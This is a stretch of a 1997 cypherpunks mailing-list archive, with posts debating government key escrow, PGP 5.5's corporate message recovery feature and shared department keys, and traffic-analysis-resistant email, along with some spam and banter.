>    "Law has failed to keep pace with technology. Some laws capable of
>    promoting assurance are not as clear or effective as they could be,"
>    the panel wrote.
>    

When I hear the "Law has failed to keep pace with technology" mantra, I
get the feeling that lawmakers want license to pretend that Moore's Law
applies to them, as well.  Double the amount of criminal laws and regs
every 18-24 months.  

>    "We identified existing laws that could help the government take the
>    lead and serve as a model of standards and practices for the private
>    sector," it wrote. "We identified other areas of law that can enable
>    infrastructure owners and operators to take precautions
>    proportionate to the threat."

"We think we can do what we want with what we already have.  Give us the
money anyway."

Nuke them from orbit.  It's the only way to be sure.

Golem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 22 Oct 1997 07:49:31 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Your "RIGHT" to Speak to Big Brother
Message-ID: <199710212341.TAA15468@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/20/97 11:13 PM, Eric Cordian (emc@wire.insync.net)  passed this
wisdom:

>And there you have it.  The people's right to provide their
>neighbor's proprietary information their government shall not be
>infringed.  How Constitutional-Sounding.

  can you say INSLAW ????? they are sooooo trustworthy!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE08NcdZgC62U/gIEQJ2/wCaAwcjQLogUeAp7eBQk8n73OhmCjYAoON9
Z3FYtXeYgUYXlChaGYXu1IBk
=Rho8
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Civilization is the progress toward a society of privacy. The
   savage's whole existence is public, ruled by the laws of his tribe.
   Civilization is the process of setting man free from men."
    -- Ayn Rand - The Fountainhead (1943)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 22 Oct 1997 08:10:13 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <444a63999ab2a0612a3c638b69c0345f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




Everyone has a "right" to speak to the government on
any subject whatsoever, which cannot be abrogated by
contracts, agreements or willful desire. A populace
that holds no secrets is a safe populace. This
is why we are officially announcing the formation of
a federal agency, the Government Agency of Knowledge.
Its role will be to obtain - by whatever means
necessary - any and all knowledge of all actions,
desires, means and ways of everything transpiring on
US soil. Duties will include holding cryptographic
keys in escrow, monitoring and assuring the 
wholesomeness of private and encrypted data traffic,
and analyzing all available "knowledge patterns" of
US citizens.

Since honest, good citizens have nothing to hide, GAK
will be a major advance toward protecting American
citizenry from crime, terrorism and other
human-meditated harm. 

After all, your government has a right and duty to
protect you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 22 Oct 1997 11:57:05 +0800
To: cypherpunks@toad.com
Subject: See the Seasons's Hottest Video Games on VideoGameSpot!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.4592.10211997200317.77871@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT         10/22/97
-----------------------------------------------------------------

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and there are so many hot titles coming out, it'll make your head 
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_________________________________________________________________
ZDNet Announcements are periodic notices of new features, special
events and free offers available to members of ZDNet.

 --To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com You can leave the subject and body
blank.

 --To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com You can leave the subject and body
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Powered by InfoBeat: http://www.infobeat.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 22 Oct 1997 13:34:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: everybody wants a piece of Microsoft's monopoly
Message-ID: <3.0.32.19971021221731.006a80f4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



It is intruiging to observe how alarmed certain companies get about
Microsoft's methods (as though sellers of bundled MS software couldn't
themselves just say "no" to such business proposals, without the
government's assistance), and how Billg (and his legal advisors) deal with
the govmt as they get further and more precisely investigated.  It should
be instructive and inspiring for everyone else, when MS wins, to see how
(if) they do it.

I would sympathize, but Billg is a great believer in "lawful" ways of doing
things, often cooperating in regard of hiring practices and monopoly
watch-dogs, among other things, so it is of great interest to me to see how
he deals with these "lawful" types who believe they have cause to stick it
to him.  'Tis a fine line he walks, between supporting the methods of The
Law, using its services, and also being highly successful in beyond the
limits set forth in the Official U.S. Rules for Success, Section 0.123, p.
26.930.  Anyway, it's all "for the customer", you know.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 22 Oct 1997 13:33:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: the migration path (was Re: Your "RIGHT" to Speak to Big Brother)
Message-ID: <3.0.32.19971021223134.006a3300@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:

>Perhaps this is what they are busy building at their top-sikrit crypto
>software development/research center at Cambridge, UK under the
>guidance of new head of research cryptographer Roger Needham.  
>Looks like an export embargo end-run by Bill Gates.
>
>Maybe Bill Gates is a cypherpunk after all, well we can live in hope,
>anyway.
.................................................................

He's no anarcho-cypherpunk:   he and his father just contributed a great
amount of money to support a gun-law initiative which would place all sorts
of requirements on gun-owners (mandatory licensing, mandatory training,
mandatory gun-locks, and many privacy-intrusive reductions of personal
authority, etc.) in Washington state.

I don't precisely know where he stands regarding crypto, but I know that he
puts business requirements and customer acceptance above the arguments of
GAK advocates, as do the VIPs who work in encryption and who totally reject
the idea of Big Brother.  


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 08:07:42 +0800
To: cypherpunks@cyberpass.net
Subject: wanted dead or alive: pgp5.5 key pair
Message-ID: <199710212334.AAA02249@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Could some kind soul who has downloaded pgp5.5 for business (I think
it is available in the US from www.pgp.com) create a key with a CMR
key extension.

I guess this means generating two keys:

  XYZ Corp recovery key <snoopy@xyz.com>

and then:

  XYZ Corp Sales <sales@xyz.com>

with the sales person's key set up to have a strict requirement to
encrypt to the XYZ "message recovery" key.

Could this kind soul then mail me, (or post here I guess would be even
more useful) both the private and public keys of both of them.

Enciphering minds want to find out how pgp5.0 reacts to this key :-)

(The question is really does pgp5.0 encrypt to the CMR key).

(btw for the curious as to why my previous message was had a date of
22nd Feb ... I had to set my clock back to get pgp5.0 beta to function
as the one I have had expired, and I forgot to set the clock forward
again).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 21 Oct 1997 20:23:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: EC refutes GAK
Message-ID: <87743538523871@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



[I originally posted this to the c2.net crypto list but apparently it never
 appeared, I've reposted it here in case anyone finds it useful]
 
>The report also notes a new (to me, anyway) method of bypassing GAK while
>maintaining full compliance with the law:
>
>"Users could encrypt a relatively large number of session keys in a way that
>the previous key encrypts the next one, always using one or several official
>escrow/recovery systems. Only the last key would be used to encrypt the
>message.
 
There's another way to foil GAK which I don't think has been mentioned before,
using what is often referred to as "malicious obedience" in the military (or
"you asked for it, you got it" elsewhere):
 
Since I don't trust any cryptosystem based on mathematical principles, I
encrypt all my communications using a one-time pad communicated on CDROM
(700+MB if you push it).  To limit the exposure of each pad, I change it once a
month at a cost of ~$1 per CDR blank.  If I communicate with around 100 people
that's 100 x 12 x 700+MB or (rounding things up a bit) a terabyte of keying
material a year.  Since they use their own pads to communicate back to me,
anyone wanting to intercept a years worth of traffic to/from me would need to
archive 100 terabytes of keying material (I'd make sure I spread out the bits
of pad I used so they couldn't just keep the useful bits and discard the rest).
In any case since this will only be used for court-authorised intercepts (just
keep repeating that until you believe it), everything would have to be archived
without any changes so it could be used as evidence.
 
At a cost of $100/month in CDR's this should comply with any GAK law (instant
access to keys, etc), but will also do a reasonable job of overwhelming any
centralised repository charged with storing the data.  Of course since I don't
trust the government any more than I trust those nasty cryptosystems based on
mathematical principles, I'd use triple DES underneath the OTP just to be sure.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Wed, 22 Oct 1997 18:10:30 +0800
To: cypherpunks@toad.com
Subject: PGP 5.5 CMR/GAK: a possible solution
Message-ID: <877514566.20581.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




[Posted to cypherpunks, cc:-ed to Jon Callas]

You know, in the last few days I've read a lot of messages on both sides
of this debate, and I've umm-ed and ahh-ed and slowly gone from thinking
that what PGP are doing is evil to thinking that it's just bad. While I
believe that Adam Back's suggestions for alternate systems are good and
neccesary ideas for the long-term, I'm coming to the conclusion that PGP
are heading in the right direction for the short-term, but have things
backwards. 

The current system sends out a user's personal key, with a tag to say that
if I don't encrypt to the company as well, my mail will bounce. But think
about this: how often do I want to send email to a particular person in a
company, and ensure that only they see it? And how often do I want to send
mail to a particular group inside a company? All I want is to ensure that
I get a response from the company, I usually don't care who I talk to in the
process.

So PGP's "everything private unless you choose to make it public" system
seems backwards. Surely what we really need to meet these customer demands
is an "everything public (within the company) unless you choose to make it
private" system? That is, all mail to my department inside the company
should be encrypted to a department key, shared by all members, *unless*
it is confidential, in which case it should *only* be encrypted to me. 

Here's how I see this working: when Joe Blow joins Foo-Bah Cryptosystems,
he creates his own personal PGP key. He also gets a copy of the department
key, which he can use to decrypt any mail which is encrypted to his
department; or this decryption could be handled automatically by a
department email server to ensure that individuals never have access to the
department's private key. PGP then creates a public key for 'Joe Blow
<joe.blow@foo-bah.com>', which would be the department key with a signed tag
linking it to his personal public key. This is the tagged corporate public
key which he would give out to any customers. 

When a customer wishes to send email to Joe, he would use this public key.
When encrypting, PGP would detect the tag and put up a dialog box pointing
out that this is a corporate key and if they click on the 'confidential'
button it will be encrypted to the user's personal key prior to encrypting
to the corporate key (by which I mean superencryption, to avoid traffic
analysis). The default would be not to superencrypt; and as a side effect
this system would be compatible with any version of PGP for
non-confidential mail (assuming that version understands the encryption
algorithms in use). 

The effect of this is that if someone wants to send email about an urgent
bug and I'm out at lunch, any of my co-workers can read that mail. But if
they want to send *me* mail about confidential inter-company negotiations,
the co-workers could decrypt the outer layer of the message, but would be
blocked by the inner layer encryption to my personal key. 

As I see it, this system is simple, solves the problems which PGP claim
they need to solve without creating the snooping problems Tim and others
have discussed, cannot easily be adapted to GAK ('This message is to be
encrypted to the FBI public key. If it is confidential, click here to
superencrypt to the recipient's personal key'), and won't require a
massive change to the PGP source code. 

There are some obvious security issues with having the department key
shared amongst the members of the department, but I don't see that they
are any worse than PGP's current CMR implementation, which has already
discussed the use of department keys; it's certainly better than using
plaintext. There are also problems with encrypting confidential mail to
multiple recipients, but they're surmountable; an easy solution, if you
don't care about traffic analysis, is to only encrypt confidential mail
to the personal key rather than superencrypt with the corporate key. In most 
cases such mail wouldn't be sent to multiple recipients anyway. 

So here's how I'd see the simple system working:

A PGP CMR key would consist of

1. A corporate key; this might be company-wide, department-wide, or
   an individual escrowed key; this choice is a seperate key-management
   issue for the corporation.
2. Optionally a personal key, which could only be decrypted by the
   individual.
3. A signature from the corporate key linking the personal key to it
   and the specified User Id.
4. Optional flag to indicate which key to encrypt to by default.
5. User Id, signatures, etc

When PGP was asked to encrypt to such a key, it would check for the
optional personal key. If it wasn't there, it would put up a warning
box to tell the user that the message can be read by people other than
the recipient. If it is, then it would put up a dialog box allowing the
user to choose whether to encrypt to the corporate key or the individual
key, normally defaulting to the corporate key. This system could not easily
become GAK because it will only encrypt to one of the keys and not both;
the FBI could create FBI CMR keys from all our public keys, but then PGP
would either encrypt to the FBI and I wouldn't be able to read it, or
encrypt to me and the FBI wouldn't be able to read it.

Anyone care to pick any holes?

        Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.                       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/                  MAILBOT: bot@unicorn.com |
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: casinomarket@correy.com
Date: Wed, 22 Oct 1997 09:37:44 +0800
To: cypherpunks@toad.com
Subject: Searching_for_representatives
Message-ID: <B0000083527@bol1.thebol.com>
MIME-Version: 1.0
Content-Type: text/plain




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Wed, 22 Oct 1997 20:10:22 +0800
To: amp@pobox.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
Message-ID: <877521655.28888.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



amp@pobox.com wrote:

> One thing that I think PGP needs more than anything else, is to make it easy
> to build lists of keys to encrypt to. 

I'm not sure that it's quite what you're suggesting, but I was thinking that
this idea could be extended to an arbitrary hierachy; for example, company
key, department key, individual escrowed key, individual-only key. The sender
could then choose which of these keys to encrypt to based on the sensitivity
of the message. Again, this couldn't be extended to GAK because if the FBI
were to put themselves at the top of the hierachy we wouldn't be able to read
any mail which was encrypted to their key!

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 22 Oct 1997 19:57:44 +0800
To: mark@unicorn.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <Chameleon.877513698.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

mark@unicorn.com was heard to whisper to several hundred people:
=snip=

> The effect of this is that if someone wants to send email about an urgent
> bug and I'm out at lunch, any of my co-workers can read that mail. But if
> they want to send *me* mail about confidential inter-company negotiations,
> the co-workers could decrypt the outer layer of the message, but would be
> blocked by the inner layer encryption to my personal key. 

> As I see it, this system is simple, solves the problems which PGP claim
> they need to solve without creating the snooping problems Tim and others
> have discussed, cannot easily be adapted to GAK ('This message is to be
> encrypted to the FBI public key. If it is confidential, click here to
> superencrypt to the recipient's personal key'), and won't require a
> massive change to the PGP source code. 

> There are some obvious security issues with having the department key
> shared amongst the members of the department, but I don't see that they
> are any worse than PGP's current CMR implementation, which has already
> discussed the use of department keys; it's certainly better than using
> plaintext. There are also problems with encrypting confidential mail to
> multiple recipients, but they're surmountable; an easy solution, if you
> don't care about traffic analysis, is to only encrypt confidential mail
> to the personal key rather than superencrypt with the corporate key. In
most 
> cases such mail wouldn't be sent to multiple recipients anyway. 

This isn't quite as bad as the current setup with pgp5.5. We've set up
something almost like this within my department. We have a shared key for
the department, and private keys individually. I'm pretty leery of the
concept of a shared group key, but for certain types of messages, it is not
too terrible a solution. Of course, you have problems when someone leaves
the group, as you now have to change the master key for the group. I'd
actually prefer to be able to use conventional crypto for when we need to
distribute new passwords amongst my group, as it is easier to deal with ftmp
(for the group where i work anyway) without the difficulties of having to
revoke/reissue the dept key.

One thing that I think PGP needs more than anything else, is to make it easy
to build lists of keys to encrypt to. Version 4.5 has this feature, which is
why I'm using it. I would hope that 5.5 does, and will also let the user
create whatever type of keys he wants and use conventional crypto as well.
I'm expecting a copy here soon, so will get to play with it then.

I can't say I really like version 5.0 much.


- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 10/22/97
Time: 05:37:49
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Strong Encryption Is Your Friend

iQEVAgUBNE3Z0/pLP0N7vZi7AQGS1QgAnDOauulYt+eCWfKeK1Lsnx/goxVYGIIc
FiGb6qySEJRzoohtcWNnwppdNgsaMJBzmgjPad2CX7WjtrOUavybP/W+9hlTRn0T
UVUg++CLBvyNwD5bxRdnLFqeUw2tUkIgfGw0Eyef3LQ0M6jwuczYj/YMCvL7RR7e
INhZfX2sVGfl6e2/p01M8b+KmjQZ4U5SDD8HcQRC1I4+g8qqnsenzVqwel2tRbmg
kjWE5nJwC755Y0I7gqMPWgYMu2FUS/0RVjehDCh9RhuwhUuC3vxUG0oeFMkFwiR1
uJi6KRtQPElVb9wOuN7/jTQodgOfabE0or0b0+G1JNrYYo9MxEvieg==
=n7SF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 22 Oct 1997 18:53:08 +0800
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <a83326bdcd1759668db3b6af73335db9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim Maytag carries a turd in his wallet for identification purposes.

      _______c___c
     /       /_  _\
    |       ((6)(6)) Tim Maytag
    (  )_  __\\  //__
    o___n) (nn)\o/(nn)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 22 Oct 1997 20:24:52 +0800
To: mark@unicorn.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <877521655.28888.193.133.230.33@unicorn.com>
Message-ID: <Chameleon.877518914.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>> One thing that I think PGP needs more than anything else, is to make it
easy
> > to build lists of keys to encrypt to. 
 
> I'm not sure that it's quite what you're suggesting, but I was thinking
> that this idea could be extended to an arbitrary hierachy; for example,
> company key, department key, individual escrowed key, individual-only
> key. The sender could then choose which of these keys to encrypt to based
> on the sensitivity of the message. Again, this couldn't be extended to
> GAK because if the FBI were to put themselves at the top of the hierachy
> we wouldn't be able to read any mail which was encrypted to their key!

Actually, what I had in mind is just the ability to create your own list of
recipients and use a single group name be what you select to encrypt to 
that
list, rather than having to select each individual every time you encrypt.
kinda like the stuff I've had in my email program for ages. Nothing formal
about the heirarchy, just a way to click on one 'name' and have the keys
I've previously assigned to that name be used.



- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 10/22/97
Time: 07:05:56
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Strong Encryption Is Your Friend

iQEVAgUBNE3uQvpLP0N7vZi7AQHRMQgAgRtvXlvnn11Guiwj+VabdRoo4EfVl+ny
LsihAcKaBkfG6C33ghzPpKj3DhnARgW8oxgfmS2SFv72MPLPtgsw7tZ1LhyvOm8I
89R60b1NjSMsL0F8aBm1M71iOHOvgQHbdJtegR88Xczyf/7/mO6UwJFjAs5B1OmA
ZP3wGBHNTcwFGjW/HT6EEw6+bQv3LBJvdfkbVtzbi9QhddmVzrFjrcn/BeIMCPex
Xu5t1xLhK8sKoRURlcUOXhoPvfxmkPrZwxXQeOVQP23s8qmH01W7FV2MG31K7JSw
4FwGI5Ve83Hr6neHm0Ds/FMU4fznZ6ZpC90FDwHqx1T/imwKUhRA2A==
=hTf5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 22 Oct 1997 02:45:42 +0800
To: aba@dcs.ex.ac.uk
Subject: Re:  GAK "service" charges (Re: EC refutes GAK)
Message-ID: <87745892226677@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
>Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
>>[multiple terabyte CDrom based keying material]
>Reckon they'll twig, and charge you per megabyte to offer you the "service" 
>of allowing them to "recover" your communications in real time.
 
Yes, but how will they phrase the requirements?  A CD is a single key (in fact 
1,000 CD's are all part of a single key)... this leads to the same problem I 
heard of here a few years ago w.r.t. outlawing gangs: "It would be impossible 
to word any comprehensive anti-gang legislation in a manner which didn't also 
outlaw the police".  The same goes for certain aspects of escrowing, any 
escrow rules which are in any way practical and useable will also be open to 
all sorts of creative interpretation ("You must deposit a copy of your 
encryption key with the government" -> "Here's the key.  Where can I park the 
forklift that moves the container of CD's?").
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 22 Oct 1997 13:58:07 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: SMTP Encryption Extension
In-Reply-To: <3.0.3.32.19971021082737.00928b20@localhost>
Message-ID: <3.0.3.32.19971022073807.0099dcb0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Eric Murray wrote:
>Mike writes:
>> Which leads to another idea, couldn't we encrypt SMTP by running it over
>> SSL as a web server cgi? If 99% of Internet traffic is web browsing and we
>> are trying to hide our email, then why not make the email look like web
>> browsing?
>You don't need to run it through a CGI.  There's a port defined for
>SMTP-over-SSL:

Sure, but the idea here was hiding email to defeat traffic analysis. Ssmtp
would raise alarms in any snopper but https would seem like business as
usual, probably just another gif. And https is available through a lot of
firewalls where you can't run ssmtp.

>If you want to protect all email (an excellent idea), build a mail
transport which automatically encrypts each outgoing mail in the key of the
recipient

Eudora/PGP already does that, but you are still quite vulnerable to traffic
analysis unless you add remailers to the pot, which makes it a lot more
complicated and error prone.

A significant threat to online privacy comes from passive attackers,
because you can't do anything about them. If you have an active attacker,
you can analyze his moves and fix the bugs he uses to break root, but a
passive attack is difficult to even detect before it's too late and your
romantic conversations are headline news.


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 22 Oct 1997 20:54:19 +0800
To: cypherpunks@ssz.com
Subject: Re: SMTP Encryption Extension (fwd)
Message-ID: <199710221313.IAA13604@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Oct 1997 07:38:07 +0200
> From: Mike <Michael.Johnson@mejl.com>
> Subject: Re: SMTP Encryption Extension

> Sure, but the idea here was hiding email to defeat traffic analysis. Ssmtp
> would raise alarms in any snopper but https would seem like business as
> usual, probably just another gif. And https is available through a lot of
> firewalls where you can't run ssmtp.

Your base assumption is that Mallet is stupid. Bad assumption.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 22 Oct 1997 22:27:25 +0800
To: cypherpunks@toad.com
Subject: Singapore TOILET ALERT
Message-ID: <v03007804b073ab366f27@[204.254.22.221]>
MIME-Version: 1.0
Content-Type: text/plain



[Apologies to my friends in Singapore, but I am NOT making this up. --Declan]

 And the top five toilets are...
     SINGAPORE (Reuters) - A drive to keep public toilets clean
and dry is meeting with overwhelming success, the Ministry of
Environment said in a "toilet alert" Tuesday.
     The statement said that in the first week "5,000
Singaporans have called the Clean Public Toilets hotline to
identify Singapore's model toilets and to vote for their top
five favorite toilets."
     The ministry launched a poster competition earlier in the
month featuring three model toilets and inviting the public to
identify their locations, as well as to nominate their favorite
public toilets in five categories of locations.
     Various prizes are involved, including a return trip to Hong
Kong to be won in a draw.
     Singapore is known for public campaigns promoting causes
ranging from discouraging littering to encouraging people to
have more children.




-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Wed, 22 Oct 1997 18:45:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: wanted dead or alive: pgp5.5 key pair
In-Reply-To: <199710212334.AAA02249@server.test.net>
Message-ID: <slrn64rlm4.sm.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Adam Back wrote:
>Enciphering minds want to find out how pgp5.0 reacts to this key :-)
>(The question is really does pgp5.0 encrypt to the CMR key).

Just returned from the source ... PGP 5.0 does encrypt to every so called
'message recovery key' mentioned in the public key self certificate option
if it is marked required or optional. If a key is missing, it fails encryting.
IIRC it does work on unhashed uncritical signature packets, too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 20:58:57 +0800
To: Tim May <tcmay@got.net>
Subject: PGP Inc isn't using CMR (Re: wanted dead or alive: pgp5.5 key pair)Tue, 21 Oct 1997 18:06:04 -0700)
Message-ID: <199710221149.MAA00868@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 4:34 PM -0700 10/21/97, Adam Back wrote:
> >Enciphering minds want to find out how pgp5.0 reacts to this key :-)
> >
> >(The question is really does pgp5.0 encrypt to the CMR key).
> 
> Why not just try to send a message to "phil@pgp.com"?
>
> Surely PGP, Inc. is itself using its own product?

Strangely not.  Tom Zerucha asked this question over on open-pgp, and
Jon Callas replied:

Jon Callas <jon@pgp.com> wrote:
: Tom Zerucha <@spam-resistant-email-address> wrote:
:
:    But let me ask a question about PGP, Inc. - Do they use the PGP 5.5
:    version with corporate key recovery internally?
:    
: No, we don't. We have no need to. It would be inappropriate for our
: environment.

Guess that answers that one then.

> (I know if I were Jon Seybold and I had a radical"No nukes" nut like Phil
> on my staff, :-), I'd want to monitor what he was saying to people and what
> they were saying to him.)

Some fairly hot things by all accounts: all about resistance fighters,
and terrorists.  Really ought to watch that guy :-)

He has a laptop which he carries everywhere too -- probably with his
non-CMR old prz@acm.org key on it -- reckon he'll be fiercely hanging
on to that one :-)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 21:05:08 +0800
To: mark@unicorn.com
Subject: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a possible solution)
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <199710221246.NAA00906@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mark Grant <mark@unicorn.com> writes:
> The current system sends out a user's personal key, with a tag to say that
> if I don't encrypt to the company as well, my mail will bounce. But think
> about this: how often do I want to send email to a particular person in a
> company, and ensure that only they see it? And how often do I want to send
> mail to a particular group inside a company? All I want is to ensure that
> I get a response from the company, I usually don't care who I talk to in the
> process.

The CMR feature in pgp5.5 isn't so far intented to cope with this
scenario I think.  That's because pgp5.5 I understand can only
generate keys with one CMR request field.

What you're describing is an alternate use for CMR: to allow
sales@acme.com to have attached to it the request that messages to
that address be encrypted for all the sales people.

Well that seems reasonable in a way.  Still potentially dangerous in
that the NSA will soon enough be asking to be on every one's CMR list.

(As far as I can tell the next version (pgp6.0 or whatever) will
include capability to create keys with multiple CMR requests.  The
capability to handle them is already in pgp5.5 by all accounts.)

The other alternative is as you say: to have group keys which are
shared amongst the sales people.  There are problems with this in
managing the secure distribution of the shared key: sales manager
creates it, and emails securely to all sales team members?
Plausible I suppose.

Problem for both approaches is re-keying: what happens when Fred
leaves the sales team to work for a competitor.  Revoke the shared key
and start over?  Or with the CMR method, revoke just the CMR request
for Fred, and allow key servers to remove CMR requests when presented
with a suitable CMR request revocation cert?  (How often will senders
check key servers for revocation certs?)  Or have short expiries on
encryption-only keys (one per day?), so that they key update happens
soon enough anyway.  (pgp5.x allows for short lived encryption keys
directly because of the separation of signature and encryption keys,
the WoT applies to the signature key).

Really it seems to me that actually having half a dozen sales droids
